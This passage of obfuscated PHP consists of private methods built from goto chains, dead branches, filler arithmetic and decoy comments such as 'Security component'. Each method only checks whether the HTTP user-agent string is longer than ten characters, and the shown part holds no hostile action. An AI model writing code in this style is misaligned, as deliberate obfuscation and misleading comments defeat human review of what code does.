+ 29; $jIP39ari = $a6EHyDbxg * 5; if (false) { echo 'This is a dead end'; } goto a31aVZpj_; a31aVZpj_: return $jIP39ari > 10; } private function Xy1SW73Kt9() { goto IYsmN2b8; IYsmN2b8: goto xPL_4mXc; xPL_4mXc: if (false) { echo 'This is a dead end'; } goto fTHKOnp6; fTHKOnp6: goto KdNCnUpa; KdNCnUpa: $NqlX8zGc = 147 + 17; $NqlX8zGc = $NqlX8zGc * 2; if (false) { echo 'This is a dead end'; } goto a89hYeFGN; a89hYeFGN: /* Security component */ goto XYr6hKHE; XYr6hKHE: // wtjfNj7NrdgZWOHR $Pe9zuJ4r = 819 + 29; $NqlX8zGc = $Pe9zuJ4r * 4; if (false) { echo 'This is a dead end'; } goto QlbaISru; QlbaISru: $n7sJ6WnP = 923 + 12; $iX1geSuk = $n7sJ6WnP * 2; goto pVIGYiIc; pVIGYiIc: /* API handler */ $FbaGmw5w = 653 + 5; $a6b9oay5s = $FbaGmw5w * 3; goto Mw9yJ4cI; Mw9yJ4cI: $iX1geSuk = 524 + 8; $a6b9oay5s = $iX1geSuk * 4; goto a2IO_evxY; a2IO_evxY: goto F5U3hOBU; F5U3hOBU: /* System file */ $NqlX8zGc = 291 + 36; $BqYDw4sr = $NqlX8zGc * 2; goto t2uScdsb; t2uScdsb: // vItgQPjA goto xXv4RA7T; xXv4RA7T: // rHsLiMR9 goto a7EVq_WXw; a7EVq_WXw: if (false) { echo 'This is a dead end'; } goto sZIknbMu; sZIknbMu: /* API handler */ goto apWTPlti; apWTPlti: $a6b9oay5s = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto jH8GXRx7; jH8GXRx7: /* System file */ $BqYDw4sr = 490 + 18; $iX1geSuk = $BqYDw4sr * 3; goto BG67Day3; BG67Day3: // 3Z4ZOBbLjOl7 goto JK3MaZt7; JK3MaZt7: goto Bmx63rgJ; Bmx63rgJ: $FbaGmw5w = 242 + 32; $iX1geSuk = $FbaGmw5w * 5; goto lHgZ7xE2; lHgZ7xE2: /* Core module */ if (false) { echo 'This is a dead end'; } goto NsHa8IkZ; NsHa8IkZ: goto E3Az1v73; E3Az1v73: $NqlX8zGc = 859 + 11; $iX1geSuk = $NqlX8zGc * 3; goto Uvrkf5yj; Uvrkf5yj: // 2uDEFhVn $bZa4iOd6 = 543 + 9; $n7sJ6WnP = $bZa4iOd6 * 5; goto goEzDbfy; goEzDbfy: goto gzSZ2jLl; gzSZ2jLl: $a29IFo9lZ = 142 + 8; $a29IFo9lZ = $a29IFo9lZ * 1; if (false) { echo 'This is a dead end'; } goto Hm5rDvx7; Hm5rDvx7: // bmtBIjZ1 $jIP39ari = 175 + 29; $BqYDw4sr = $jIP39ari * 3; goto Peeitgrw; Peeitgrw: if (false) { echo 'This is a dead end'; } goto XzT9Ttll; XzT9Ttll: /* llndmOqS_nTGJMG */ goto esCsIEvJ; esCsIEvJ: goto a8z8mReGF; a8z8mReGF: /* Security component */ if (false) { echo 'This is a dead end'; } goto UJhf9xJF; UJhf9xJF: $BqYDw4sr = strlen($a6b9oay5s); goto CT8QNMgJ; CT8QNMgJ: goto raiEVIrd; raiEVIrd: $iX1geSuk = 949 + 27; $bZa4iOd6 = $iX1geSuk * 1; if (false) { echo 'This is a dead end'; } goto kV2sf1ZS; kV2sf1ZS: /* Security component */ if (false) { echo 'This is a dead end'; } goto GG8nH1O_; GG8nH1O_: /* Security component */ $iCjD65Pi = 475 + 50; $Pe9zuJ4r = $iCjD65Pi * 1; if (false) { echo 'This is a dead end'; } goto a8OWDwD5D; a8OWDwD5D: if (false) { echo 'This is a dead end'; } goto S3hpZ6xR; S3hpZ6xR: // bQdwEPUAq_Zx $WWDcP6ib = 350 + 31; $iX1geSuk = $WWDcP6ib * 2; goto a17lSomUJ; a17lSomUJ: $a29IFo9lZ = 473 + 23; $XsucffsH = $a29IFo9lZ * 1; goto a2LzHbt6t; a2LzHbt6t: // LAZ5xNEDBuZRKgQ3 goto GfMCWaYa; GfMCWaYa: $FbaGmw5w = 465 + 41; $bZa4iOd6 = $FbaGmw5w * 1; if (false) { echo 'This is a dead end'; } goto sYYh94vM; sYYh94vM: goto RaoiGGHZ; RaoiGGHZ: /* Core module */ $n7sJ6WnP = 158 + 2; $WWDcP6ib = $n7sJ6WnP * 2; goto hzqMkwm8; hzqMkwm8: // Asru7bIq goto u3hlSIrZ; u3hlSIrZ: goto o9_rqn7W; o9_rqn7W: /* mLwYYNlkMiIE9ms */ if (false) { echo 'This is a dead end'; } goto a5XJIYz_s; a5XJIYz_s: if (false) { echo 'This is a dead end'; } goto bnf0W5xA; bnf0W5xA: return $BqYDw4sr > 10; } private function a61XSAJwOub() { goto akQ8Q9kJ; akQ8Q9kJ: $FbaGmw5w = 968 + 35; $Pe9zuJ4r = $FbaGmw5w * 1; if (false) { echo 'This is a dead end'; } goto V_LxvK4R; V_LxvK4R: $a29IFo9lZ = 870 + 32; $Pe9zuJ4r = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto sdtSfDhC; sdtSfDhC: /* PdSGZxRG8SIPSiO0o3GU */ $bZa4iOd6 = 939 + 29; $FbaGmw5w = $bZa4iOd6 * 4; goto a71erIoxM; a71erIoxM: /* sKBbBo_XnK7AJE0 */ $bZa4iOd6 = 417 + 49; $bZa4iOd6 = $bZa4iOd6 * 4; goto jWmx2ILh; jWmx2ILh: /* System file */ $iX1geSuk = 938 + 42; $n7sJ6WnP = $iX1geSuk * 1; goto Gwfky34J; Gwfky34J: $iCjD65Pi = 239 + 39; $B9ma2fmF = $iCjD65Pi * 3; goto yc6vp6Ot; yc6vp6Ot: /* Core module */ goto O8zg57zU; O8zg57zU: /* MMrfDedn3zbIY6F */ goto GURsfFIp; GURsfFIp: $iX1geSuk = 463 + 3; $n7sJ6WnP = $iX1geSuk * 4; goto ZhiAeZIU; ZhiAeZIU: // IGUhJaxA $a6EHyDbxg = 897 + 34; $BqYDw4sr = $a6EHyDbxg * 2; if (false) { echo 'This is a dead end'; } goto CEt91oJl; CEt91oJl: if (false) { echo 'This is a dead end'; } goto IDQksS0K; IDQksS0K: // 3LU00hQK goto mmBuyTwX; mmBuyTwX: // 9hjyZj7G $Pe9zuJ4r = 601 + 24; $a29IFo9lZ = $Pe9zuJ4r * 5; goto xthg650t; xthg650t: goto AH0Ti3I1; AH0Ti3I1: goto xEIheUKw; xEIheUKw: $BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto ReA0EK6N; ReA0EK6N: goto ipivbfG_; ipivbfG_: goto kAFD3YYJ; kAFD3YYJ: /* Core module */ goto z6gqU2iI; z6gqU2iI: // NBJywfDymPrU goto vyd4i6Gm; vyd4i6Gm: goto a8COhxtUZ; a8COhxtUZ: /* Main service */ $a6b9oay5s = 748 + 9; $iCjD65Pi = $a6b9oay5s * 3; goto q5sMwsRz; q5sMwsRz: /* 5C4uDoQ7mP */ goto Gw9GLKXz; Gw9GLKXz: /* Main service */ goto uIRZJZHf; uIRZJZHf: if (false) { echo 'This is a dead end'; } goto vv0hHkra; vv0hHkra: $bZa4iOd6 = 693 + 11; $jIP39ari = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto hik1vrIE; hik1vrIE: goto o9mGb9tH; o9mGb9tH: $n7sJ6WnP = 265 + 42; $iX1geSuk = $n7sJ6WnP * 1; goto a2sdJHvgX; a2sdJHvgX: $B9ma2fmF = 235 + 39; $n7sJ6WnP = $B9ma2fmF * 1; goto fMxR44pj; fMxR44pj: $BqYDw4sr = 273 + 13; $NqlX8zGc = $BqYDw4sr * 5; goto fAmYveiz; fAmYveiz: /* Main service */ if (false) { echo 'This is a dead end'; } goto m3NuKk3q; m3NuKk3q: $WWDcP6ib = strlen($BqYDw4sr); goto b9djCBjG; b9djCBjG: /* Security component */ $a29IFo9lZ = 368 + 23; $iX1geSuk = $a29IFo9lZ * 3; goto ZOYRWG3O; ZOYRWG3O: if (false) { echo 'This is a dead end'; } goto a2gdYcydq; a2gdYcydq: /* Core module */ goto NV0JpAnq; NV0JpAnq: /* Security component */ if (false) { echo 'This is a dead end'; } goto NJtMaueT; NJtMaueT: goto LACOIlE0; LACOIlE0: /* sOSgfNz3mVbIw2i */ goto jp9LWQKx; jp9LWQKx: $a6EHyDbxg = 458 + 20; $a29IFo9lZ = $a6EHyDbxg * 5; goto FfKwhlP6; FfKwhlP6: /* Main service */ goto XJUuxZcY; XJUuxZcY: // tgxfVLaI if (false) { echo 'This is a dead end'; } goto MC6e6oWt; MC6e6oWt: // MfYjTuXK goto lAfVAVbx; lAfVAVbx: /* IkM_Id5sCfiQ2fa */ $B9ma2fmF = 572 + 28; $n7sJ6WnP = $B9ma2fmF * 3; goto a9CcJR65D; a9CcJR65D: goto wTCEhr70; wTCEhr70: $BqYDw4sr = 955 + 44; $n7sJ6WnP = $BqYDw4sr * 4; goto a9kwmrUKk; a9kwmrUKk: if (false) { echo 'This is a dead end'; } goto a6F2BhV4d; a6F2BhV4d: /* Security component */ goto a5k3RHTcH; a5k3RHTcH: return $WWDcP6ib > 10; } private function a8FL3jxk4Mm() { // hzE7KsXlELVUDRyX goto UqOfGZmo; UqOfGZmo: /* Security component */ if (false) { echo 'This is a dead end'; } goto a_fVHrfYe; a_fVHrfYe: goto Px5lBaEl; Px5lBaEl: /* ujikQDxcTIbs7oY */ goto a6wXRYkQo; a6wXRYkQo: goto Tf7kP3Dl; Tf7kP3Dl: if (false) { echo 'This is a dead end'; } goto tgaO85gc; tgaO85gc: // E_4px2Lg $bZa4iOd6 = 278 + 12; $B9ma2fmF = $bZa4iOd6 * 3; goto a1RK5ahnf; a1RK5ahnf: /* 1603KpYIWL */ $jIP39ari = 457 + 40; $a29IFo9lZ = $jIP39ari * 5; goto adw0vDe6; adw0vDe6: if (false) { echo 'This is a dead end'; } goto EQc3n8q1; EQc3n8q1: $NqlX8zGc = 270 + 29; $FbaGmw5w = $NqlX8zGc * 1; goto crLNb7Ab; crLNb7Ab: if (false) { echo 'This is a dead end'; } goto LZ3fen3l; LZ3fen3l: goto Bb2i51Yk; Bb2i51Yk: /* Main service */ goto xQKucfyX; xQKucfyX: goto a58x2TxYq; a58x2TxYq: if (false) { echo 'This is a dead end'; } goto N_8wdJfQ; N_8wdJfQ: /* IEKSehNsEUZdrchGfxB5 */ $a6EHyDbxg = 845 + 49; $a29IFo9lZ = $a6EHyDbxg * 5; if (false) { echo 'This is a dead end'; } goto KF9q2J8n; KF9q2J8n: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto krD64mmL; krD64mmL: // 34wcCB2RVGTFL89L goto a7R3xw6fT; a7R3xw6fT: $FbaGmw5w = 360 + 48; $a6b9oay5s = $FbaGmw5w * 3; goto q3mA0ppA; q3mA0ppA: // ZIqM3n_R $FbaGmw5w = 800 + 28; $bZa4iOd6 = $FbaGmw5w * 5; goto H9Ndixs4; H9Ndixs4: goto Ejkt9gtT; Ejkt9gtT: goto odKb5k5O; odKb5k5O: $WWDcP6ib = 464 + 9; $XsucffsH = $WWDcP6ib * 2; goto JfUQ6zQf; JfUQ6zQf: $XsucffsH = 468 + 17; $iCjD65Pi = $XsucffsH * 3; goto hsAz24aY; hsAz24aY: // 3BR1uFA2 if (false) { echo 'This is a dead end'; } goto ifkBxzZs; ifkBxzZs: /* Core module */ goto a_snq6XDJ; a_snq6XDJ: /* btQjRWe47ZWBEeDOuzYZ */ if (false) { echo 'This is a dead end'; } goto K9NIX0dp; K9NIX0dp: goto a_qgM9HwY; a_qgM9HwY: // d02fAWDu $a6b9oay5s = 350 + 26; $jIP39ari = $a6b9oay5s * 3; goto WdzUNmI8; WdzUNmI8: if (false) { echo 'This is a dead end'; } goto QF8I2rq9; QF8I2rq9: /* xF1OJwpcQTcQ4oe */ goto T2Qj8RPz; T2Qj8RPz: $bZa4iOd6 = 732 + 29; $NqlX8zGc = $bZa4iOd6 * 4; goto YUd24rLd; YUd24rLd: $a29IFo9lZ = strlen($XsucffsH); goto JbWTEVxj; JbWTEVxj: $iCjD65Pi = 386 + 7; $NqlX8zGc = $iCjD65Pi * 5; if (false) { echo 'This is a dead end'; } goto biuAUeNI; biuAUeNI: /* N0DWo4PCf_ */ goto yR60WIWM; yR60WIWM: $FbaGmw5w = 789 + 3; $XsucffsH = $FbaGmw5w * 3; goto L0AO_E0Q; L0AO_E0Q: /* API handler */ goto nr6Tkas1; nr6Tkas1: goto txyPOsIT; txyPOsIT: /* System file */ if (false) { echo 'This is a dead end'; } goto cEzOLawl; cEzOLawl: /* Core module */ $n7sJ6WnP = 263 + 19; $WWDcP6ib = $n7sJ6WnP * 1; goto a_ZjD3eZQ; a_ZjD3eZQ: /* Core module */ $iX1geSuk = 622 + 4; $FbaGmw5w = $iX1geSuk * 3; goto IyiqY1Yf; IyiqY1Yf: /* Core module */ goto D8kl9nsh; D8kl9nsh: /* B3LhNTEZlE */ $Pe9zuJ4r = 232 + 33; $jIP39ari = $Pe9zuJ4r * 2; if (false) { echo 'This is a dead end'; } goto sreZcEKl; sreZcEKl: goto Inrvhfdw; Inrvhfdw: goto PhRl3FVo; PhRl3FVo: // QNis2VnVgk8Ilwep goto zXI36kD7; zXI36kD7: $a29IFo9lZ = 660 + 18; $B9ma2fmF = $a29IFo9lZ * 1; goto Bl_i5fZi; Bl_i5fZi: goto IgkeL4AO; IgkeL4AO: return $a29IFo9lZ > 10; } private function RbJbzK3euj() { goto dWxdkNTy; dWxdkNTy: $FbaGmw5w = 895 + 46; $a29IFo9lZ = $FbaGmw5w * 1; goto SAiOjs2G; SAiOjs2G: $NqlX8zGc = 623 + 32; $BqYDw4sr = $NqlX8zGc * 2; goto GhAMsaZl; GhAMsaZl: /* v5w5IkeBwABvoSL */ goto a1IiP3nzs; a1IiP3nzs: /* lHSjpKJEfJbtg33qqekz */ goto a7fUIrd8k; a7fUIrd8k: /* 1PKCeNeVghx68uO */ goto a3A_YmaTP; a3A_YmaTP: /* Core module */ goto XtkjdaYa; XtkjdaYa: goto e1SVeaWV; e1SVeaWV: // LOeo07hn $iCjD65Pi = 387 + 31; $Pe9zuJ4r = $iCjD65Pi * 2; goto GDUlHl3G; GDUlHl3G: $n7sJ6WnP = 220 + 14; $bZa4iOd6 = $n7sJ6WnP * 2; goto a1VGwdgAW; a1VGwdgAW: /* Core module */ if (false) { echo 'This is a dead end'; } goto LvuCQimF; LvuCQimF: $a6b9oay5s = 754 + 33; $FbaGmw5w = $a6b9oay5s * 1; goto a1s8rz3Wl; a1s8rz3Wl: if (false) { echo 'This is a dead end'; } goto tp_dO64C; tp_dO64C: /* Core module */ goto UA0dc0Em; UA0dc0Em: // Qcba9fczIP1XJa_J goto AnWJncTu; AnWJncTu: goto Joa9KzJH; Joa9KzJH: $B9ma2fmF = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a3JBxCSS8; a3JBxCSS8: /* Security component */ goto zY_DwWDT; zY_DwWDT: // W6bFUMS1oQiQ goto nCjD5100; nCjD5100: goto pXJxYOJB; pXJxYOJB: if (false) { echo 'This is a dead end'; } goto T4Sh5Oia; T4Sh5Oia: $bZa4iOd6 = 909 + 8; $bZa4iOd6 = $bZa4iOd6 * 3; goto a3f6Sayoe; a3f6Sayoe: $BqYDw4sr = 890 + 45; $BqYDw4sr = $BqYDw4sr * 2; goto D6RAlsO6; D6RAlsO6: goto svpfI9hX; svpfI9hX: /* Core module */ goto kOhlvuCA; kOhlvuCA: /* Main service */ $B9ma2fmF = 259 + 38; $WWDcP6ib = $B9ma2fmF * 4; goto PHQ_fupD; PHQ_fupD: // DBVGWVshBbCFZXa_ $WWDcP6ib = 170 + 40; $iX1geSuk = $WWDcP6ib * 4; goto ZbFm8wxv; ZbFm8wxv: /* UAvM34LHoe */ goto gYEp9RTl; gYEp9RTl: $jIP39ari = 323 + 8; $a6EHyDbxg = $jIP39ari * 1; goto YFpCW8DV; YFpCW8DV: /* lUOj_5XJK_ */ goto a7Pc_2mcj; a7Pc_2mcj: $a6b9oay5s = 683 + 26; $iCjD65Pi = $a6b9oay5s * 3; goto ym4rrjZs; ym4rrjZs: goto wZyKE3VX; wZyKE3VX: $bZa4iOd6 = strlen($B9ma2fmF); goto QBBbxTjF; QBBbxTjF: /* Security component */ goto Jz4NbKqO; Jz4NbKqO: // AGIqFii8yP8d_9Aa goto RwEmMcHs; RwEmMcHs: /* Fxqu2IXqHI */ goto HCeMLGrh; HCeMLGrh: /* 6G1usw8CEx2cEKL */ $BqYDw4sr = 753 + 36; $jIP39ari = $BqYDw4sr * 2; goto a0lF3qkdC; a0lF3qkdC: goto T64ClS_X; T64ClS_X: /* BKkmpTaZdE */ if (false) { echo 'This is a dead end'; } goto zlVcnMFw; zlVcnMFw: /* Core module */ if (false) { echo 'This is a dead end'; } goto ugyKfsz4; ugyKfsz4: // lLH2dv6VxubX if (false) { echo 'This is a dead end'; } goto gAIntC83; gAIntC83: goto FTfJ_yHe; FTfJ_yHe: /* lV_IAsq13565Mzud_iQo */ $BqYDw4sr = 361 + 17; $Pe9zuJ4r = $BqYDw4sr * 3; if (false) { echo 'This is a dead end'; } goto Zjo6G6Rg; Zjo6G6Rg: /* API handler */ $a29IFo9lZ = 370 + 31; $iX1geSuk = $a29IFo9lZ * 5; goto rIIbOnvh; rIIbOnvh: // eZpPMdoi if (false) { echo 'This is a dead end'; } goto zfiaPzSP; zfiaPzSP: goto AbCHkkL6; AbCHkkL6: /* API handler */ $a6EHyDbxg = 610 + 43; $FbaGmw5w = $a6EHyDbxg * 3; goto lSImTJHS; lSImTJHS: goto i0fFcqq0; i0fFcqq0: return $bZa4iOd6 > 10; } private function a2IMbsYNFNG() { goto lRZiyg05; lRZiyg05: /* System file */ $XsucffsH = 803 + 33; $n7sJ6WnP = $XsucffsH * 5; goto gXNUGSBH; gXNUGSBH: goto a87BjIRna; a87BjIRna: /* bCGEH9lQ3YqnCyc */ $FbaGmw5w = 956 + 15; $B9ma2fmF = $FbaGmw5w * 1; goto UDykvJs6; UDykvJs6: goto SDYJJTSw; SDYJJTSw: /* System file */ goto eqezaolV; eqezaolV: /* zbezRnOJyBFjAUW */ goto rTv4vt76; rTv4vt76: /* WGTeb2Zhk2stssbArRGF */ goto a29O4MW1x; a29O4MW1x: $B9ma2fmF = 599 + 46; $B9ma2fmF = $B9ma2fmF * 5; goto MEP7UxoU; MEP7UxoU: /* s5rE_SvCfJ8PYxX */ goto dOMtgxS_; dOMtgxS_: goto FTbeIdfR; FTbeIdfR: /* Main service */ goto FOmQ1fib; FOmQ1fib: /* ZT1NPzIavY */ $n7sJ6WnP = 805 + 45; $n7sJ6WnP = $n7sJ6WnP * 2; goto Ep2x8G1j; Ep2x8G1j: // BpYP_VCRL7efahBn $WWDcP6ib = 359 + 11; $FbaGmw5w = $WWDcP6ib * 4; goto a9f6nRoYp; a9f6nRoYp: goto a3JNptUaN; a3JNptUaN: // 7DAuyz4Y9lYMQAT5 goto d_MuToBf; d_MuToBf: $a29IFo9lZ = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto tkhgmido; tkhgmido: goto DTnErsY5; DTnErsY5: $iCjD65Pi = 333 + 41; $BqYDw4sr = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto Ri4W318q; Ri4W318q: goto XUFPfjy_; XUFPfjy_: $BqYDw4sr = 961 + 22; $XsucffsH = $BqYDw4sr * 3; goto pJsSlGx0; pJsSlGx0: // 3ptak96zy74KulWD goto HD2uuluK; HD2uuluK: /* fMX_xxIM3b */ $WWDcP6ib = 550 + 36; $bZa4iOd6 = $WWDcP6ib * 4; if (false) { echo 'This is a dead end'; } goto lKHizfgR; lKHizfgR: $iX1geSuk = 455 + 13; $B9ma2fmF = $iX1geSuk * 2; goto TtLS4x3b; TtLS4x3b: $jIP39ari = 474 + 21; $WWDcP6ib = $jIP39ari * 1; goto nPiNHxY_; nPiNHxY_: // nP6SxS7Cln3E goto cbiVuOES; cbiVuOES: $a6EHyDbxg = 198 + 22; $XsucffsH = $a6EHyDbxg * 2; goto a1rKfbiqr; a1rKfbiqr: goto MqCsPiMi; MqCsPiMi: goto WyGJYsni; WyGJYsni: goto a_O6dbsYl; a_O6dbsYl: /* Security component */ goto GAEfLdWu; GAEfLdWu: goto jVdRDEG8; jVdRDEG8: $bZa4iOd6 = strlen($a29IFo9lZ); goto EmNe1MyK; EmNe1MyK: $iX1geSuk = 173 + 32; $a29IFo9lZ = $iX1geSuk * 4; goto c705MQ4B; c705MQ4B: goto zQA0wcMC; zQA0wcMC: goto a50b37adI; a50b37adI: if (false) { echo 'This is a dead end'; } goto ss3Rd0aF; ss3Rd0aF: /* 2xZtyNQpuA */ $n7sJ6WnP = 395 + 30; $NqlX8zGc = $n7sJ6WnP * 5; goto fXDVDBU6; fXDVDBU6: /* API handler */ goto a8QbDWzZw; a8QbDWzZw: goto KazZh5Q3; KazZh5Q3: // qpwdcmAe0tHH goto mFDHCylr; mFDHCylr: goto pV3GZrrg; pV3GZrrg: // wHKBy6N0S9STFocw goto HATe6c1R; HATe6c1R: goto FfsY0Gzw; FfsY0Gzw: goto YPjMZjXx; YPjMZjXx: goto LWwEtMho; LWwEtMho: /* br35lXEdqJ */ goto GMCRGet3; GMCRGet3: /* API handler */ goto CuATnV3u; CuATnV3u: return $bZa4iOd6 > 10; } private function uKnaSV0zma() { /* ZWhM4vUFqJ52c2l3y1GL */ goto neOglOLX; neOglOLX: goto N2Qv9tvQ; N2Qv9tvQ: if (false) { echo 'This is a dead end'; } goto gXt_p7uE; gXt_p7uE: goto S4esPalh; S4esPalh: /* Mlf4TxCYrLMhRYa */ if (false) { echo 'This is a dead end'; } goto d8mUGDhl; d8mUGDhl: if (false) { echo 'This is a dead end'; } goto tclbU00S; tclbU00S: $n7sJ6WnP = 854 + 46; $bZa4iOd6 = $n7sJ6WnP * 1; goto uhRQ5Bnv; uhRQ5Bnv: $iCjD65Pi = 486 + 26; $XsucffsH = $iCjD65Pi * 4; if (false) { echo 'This is a dead end'; } goto Kr5BEQGz; Kr5BEQGz: // yZGyhzpp if (false) { echo 'This is a dead end'; } goto ulnfh235; ulnfh235: if (false) { echo 'This is a dead end'; } goto bqaYOVHS; bqaYOVHS: /* z7nvA8wj7MZnWeQlQcyw */ goto bHdbfFBd; bHdbfFBd: goto i5TZnLOa; i5TZnLOa: /* KS9sjwf4Kz */ $iX1geSuk = 264 + 29; $iCjD65Pi = $iX1geSuk * 3; goto a6Icv4v4s; a6Icv4v4s: // I4lUGI3ouooK goto cu1gjGry; cu1gjGry: goto hCnpUiNT; hCnpUiNT: if (false) { echo 'This is a dead end'; } goto TYXKd97w; TYXKd97w: $NqlX8zGc = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Hfd22fRW; Hfd22fRW: /* Core module */ goto a8VqGi4mZ; a8VqGi4mZ: $n7sJ6WnP = 134 + 26; $WWDcP6ib = $n7sJ6WnP * 3; goto s45G28j3; s45G28j3: /* System file */ goto jJyYBII9; jJyYBII9: // ajCVH8cJ2TqbQe39 goto QLQfCUk8; QLQfCUk8: /* API handler */ goto a0nuyNq2w; a0nuyNq2w: if (false) { echo 'This is a dead end'; } goto AJtdBTCj; AJtdBTCj: goto RKFc2WU9; RKFc2WU9: /* mbXFoWZqlb */ goto Y5N1N7AP; Y5N1N7AP: $n7sJ6WnP = 652 + 11; $a6b9oay5s = $n7sJ6WnP * 3; goto dYuWn893; dYuWn893: if (false) { echo 'This is a dead end'; } goto xBlACizL; xBlACizL: // 6gtWu8ceQ9Qh goto a57Mos0Wo; a57Mos0Wo: goto IwnE89nL; IwnE89nL: /* fDOjhb4fMk */ goto F73iwbn3; F73iwbn3: /* KGyALoQVCImNWOg0CFE0 */ $WWDcP6ib = 851 + 29; $FbaGmw5w = $WWDcP6ib * 1; goto rBVHT789; rBVHT789: // kZtEpXyG if (false) { echo 'This is a dead end'; } goto fwIcV1zo; fwIcV1zo: $n7sJ6WnP = strlen($NqlX8zGc); goto LocCSAhC; LocCSAhC: $B9ma2fmF = 724 + 8; $iX1geSuk = $B9ma2fmF * 1; goto cnD4_kgT; cnD4_kgT: /* hVLv_QeWPt07xKa */ if (false) { echo 'This is a dead end'; } goto oEW5Ys84; oEW5Ys84: $XsucffsH = 327 + 25; $Pe9zuJ4r = $XsucffsH * 3; goto a0XMxttZ_; a0XMxttZ_: $n7sJ6WnP = 484 + 48; $iCjD65Pi = $n7sJ6WnP * 2; goto mphlRM23; mphlRM23: /* Q5lqwz72N5 */ goto fnEfM_h5; fnEfM_h5: goto arudm8Bi; arudm8Bi: $iX1geSuk = 265 + 45; $iX1geSuk = $iX1geSuk * 4; goto a4cQFGZgg; a4cQFGZgg: goto o1uxhsXU; o1uxhsXU: if (false) { echo 'This is a dead end'; } goto a83VVYawB; a83VVYawB: /* Main service */ if (false) { echo 'This is a dead end'; } goto ghF43sXf; ghF43sXf: /* API handler */ if (false) { echo 'This is a dead end'; } goto kfQZgrEi; kfQZgrEi: // Qc2G1bOJ goto VqpRDuJv; VqpRDuJv: /* Security component */ goto J0VGWA6F; J0VGWA6F: goto l0zMRutT; l0zMRutT: /* Main service */ $WWDcP6ib = 334 + 26; $Pe9zuJ4r = $WWDcP6ib * 4; goto a2VWD2mhs; a2VWD2mhs: return $n7sJ6WnP > 10; } private function qN3KmJCxff() { goto a48uCRroU; a48uCRroU: // lmBFGHmb goto JoobgdhX; JoobgdhX: $jIP39ari = 888 + 14; $XsucffsH = $jIP39ari * 1; goto qxtHRrxK; qxtHRrxK: goto b2ocHxgQ; b2ocHxgQ: goto kYP65zDk; kYP65zDk: /* uNCyWEWCI6aOMxm */ goto w9w54fQS; w9w54fQS: goto a9qipGOgy; a9qipGOgy: /* API handler */ goto fnNJdD7b; fnNJdD7b: goto KP0YroiN; KP0YroiN: goto Q8McEl_4; Q8McEl_4: /* wRAJ4IpkTBnVDgg */ goto a6tUCbixJ; a6tUCbixJ: // 9MKaF675 $Pe9zuJ4r = 291 + 41; $XsucffsH = $Pe9zuJ4r * 4; goto NDMa4ylj; NDMa4ylj: /* Main service */ goto aSNS1UWv; aSNS1UWv: $a6b9oay5s = 407 + 28; $a29IFo9lZ = $a6b9oay5s * 4; goto NLuIiWaU; NLuIiWaU: /* API handler */ $NqlX8zGc = 533 + 39; $iCjD65Pi = $NqlX8zGc * 4; goto FH8TJKke; FH8TJKke: goto dLP0fVTW; dLP0fVTW: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Rq10uTiY; Rq10uTiY: // KAzU9URE goto hSaiFWma; hSaiFWma: $a6EHyDbxg = 694 + 45; $n7sJ6WnP = $a6EHyDbxg * 4; if (false) { echo 'This is a dead end'; } goto a_4ssuG1B; a_4ssuG1B: /* System file */ if (false) { echo 'This is a dead end'; } goto cA0h_rXL; cA0h_rXL: goto a6Rg44cyV; a6Rg44cyV: goto a8E9CVIeb; a8E9CVIeb: goto IiQF3Kcf; IiQF3Kcf: // 87f97v22I7SXc5Yn goto imuOdsBy; imuOdsBy: goto RgoV2aTy; RgoV2aTy: /* API handler */ goto IIWBhjnW; IIWBhjnW: goto IMLCWDck; IMLCWDck: /* Security component */ $n7sJ6WnP = 965 + 1; $WWDcP6ib = $n7sJ6WnP * 1; goto uMJJRLwL; uMJJRLwL: /* Main service */ goto fQRS9q2h; fQRS9q2h: // QXHiEWYHn1rt goto X3r2UxqG; X3r2UxqG: // vpRAhRPeuH81 $XsucffsH = 778 + 21; $iCjD65Pi = $XsucffsH * 1; goto moJorCR9; moJorCR9: $jIP39ari = 264 + 23; $a6EHyDbxg = $jIP39ari * 4; goto q_3FD9De; q_3FD9De: $Pe9zuJ4r = strlen($XsucffsH); goto hcqYs39S; hcqYs39S: // zPUHzlzj96IK $WWDcP6ib = 316 + 23; $BqYDw4sr = $WWDcP6ib * 1; goto zy77Xf0u; zy77Xf0u: $B9ma2fmF = 508 + 28; $FbaGmw5w = $B9ma2fmF * 4; goto KbT3grCF; KbT3grCF: // zmvh5BBetx9O goto d88LY7lC; d88LY7lC: // XiqcVW2n goto KcwPVQ9U; KcwPVQ9U: // ZefScGh1VRw4Q7f3 goto wI33Xnab; wI33Xnab: $a6b9oay5s = 973 + 7; $XsucffsH = $a6b9oay5s * 3; goto iVzoLJsv; iVzoLJsv: $FbaGmw5w = 453 + 48; $BqYDw4sr = $FbaGmw5w * 5; goto a9J3f04oc; a9J3f04oc: // 0JFvoasvfQFn8UNG if (false) { echo 'This is a dead end'; } goto E7EBahwB; E7EBahwB: /* Main service */ goto a8Mi_4gPa; a8Mi_4gPa: // XG77g5KE $XsucffsH = 435 + 11; $NqlX8zGc = $XsucffsH * 1; goto Gd_O1fHW; Gd_O1fHW: goto HBqODocu; HBqODocu: goto drVlbu5O; drVlbu5O: goto q8CWSJYG; q8CWSJYG: if (false) { echo 'This is a dead end'; } goto uL5CNQky; uL5CNQky: goto vfOxEjOd; vfOxEjOd: return $Pe9zuJ4r > 10; } private function MrGxGGDuCd() { goto NokjmjPQ; NokjmjPQ: $iCjD65Pi = 509 + 22; $a6EHyDbxg = $iCjD65Pi * 3; goto IIpAUBG9; IIpAUBG9: /* System file */ goto h415dtxa; h415dtxa: goto ufS3WG1O; ufS3WG1O: goto fUxZ5buH; fUxZ5buH: /* Jr1L_T7pxBmK9PPe2o7S */ goto a5EVvnnpa; a5EVvnnpa: /* Security component */ $B9ma2fmF = 